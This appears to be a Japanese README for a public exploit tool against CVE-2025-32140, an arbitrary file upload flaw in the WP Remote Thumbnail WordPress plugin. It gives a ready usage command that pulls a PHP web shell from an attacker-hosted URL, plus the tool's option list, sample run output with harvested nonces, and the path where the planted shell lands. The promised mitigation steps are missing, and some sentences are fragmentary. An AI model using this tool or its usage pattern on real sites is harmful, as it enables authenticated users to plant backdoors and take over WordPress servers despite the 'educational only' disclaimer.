
WordPress WP Remote Thumbnail Plugin <= 1.3.2 は、任意のファイルアップロードの脆弱性があります。
CVE-2025-32140 は、WordPress 用 WP Remote Thumbnail プラグインにおける 重大な脆弱性 です。この脆弱性により、認証済み攻撃者(投稿者以上の権限を持つ)は、サニタイズされていない URL を受け付ける欠陥のある機能を悪用して、Web シェル などの 任意のファイル をアップロードできます。
このプラグインは、指定された remote_thumb URL から取得したファイルタイプやコンテンツを検証できません。これにより、攻撃者は悪意のある PHP ファイル(例: バックドア)を /wp-content/uploads ディレクトリに保存できます。
edit_post 権限を持つ認証済みユーザー)この Python スクリプトは、CVE-2025-32140 のエクスプロイトを自動化し、以下の手順を実行します。
remote_thumb パラメータを介して悪意のあるリクエストを作成し送信します。python CVE-2025-32140.py -u http://target.com/wordpress -un admin -p admin -uid 1 -pid 631 --shell http://attacker.com/shell.php
usage: CVE-2025-32140.py [-h] --url URL --username USERNAME --password PASSWORD --user_ID USER_ID --post_ID POST_ID --shell SHELL
Exploit For CVE-2025-32140 # By: Nxploited | Khaled Alenazi
options:
-h, --help show this help message and exit
--url, -u URL Target WordPress site URL (e.g., http://192.168.100.74:888/wordpress)
--username, -un USERNAME
Username
--password, -p PASSWORD
Password
--user_ID, -uid USER_ID
User ID (usually 1 for admin)
--post_ID, -pid POST_ID
Target post ID
--shell SHELL URL of the shell to be uploaded (e.g., http://attacker.com/shell.php)
[+] Logged in successfully.
[+] Cookies set successfully.
[DEBUG] Extracted _wpnonce: b4ef78e77d
[DEBUG] Extracted meta-box-order-nonce: 0c192fe62e
[DEBUG] Extracted closedpostboxesnonce: 52be514040
[DEBUG] Extracted samplepermalinknonce: 7b213c6597
[DEBUG] Extracted wprthumb_nonce: 45803ee312
[DEBUG] Extracted X-WP-Nonce: None
[+] Exploit POST sent successfully. Check your uploads directory.
By: Nxploited ( Khaled Alenazi ) | https://github.com/Nxploited
エクスプロイトが成功すると、アップロードされた Web シェルは通常、次の場所に保存されます。
http://target.com/wordpress/wp-content/uploads/YYYY/MM/shell.php
YYYY/MM をアップロード時の現在の年と月に置き換えてください。
この脆弱性によるリスクを軽減するには、次の対策を実施してください。
このスクリプトは教育目的のみで提供されています。
作者は、このエクスプロイトによって引き起こされた誤用や損害について一切責任を負いません。
作成者: Nxploited ( Khaled Alenazi ) 🌟
| オプション | エイリアス | 説明 |
|---|
--url | -u | ターゲット WordPress サイトの URL (例: http://target.com/wordpress) |
--username | -un | 投稿編集権限を持つ WordPress ユーザー名 |
--password | -p | 指定したユーザー名のパスワード |
--user_ID | -uid | WordPress ユーザー ID (通常は管理者 1) |
--post_ID | -pid | 編集する投稿の ID (下書きでも可) |
--shell | 攻撃者のサーバーでホストされている PHP Web シェルへの直接 URL |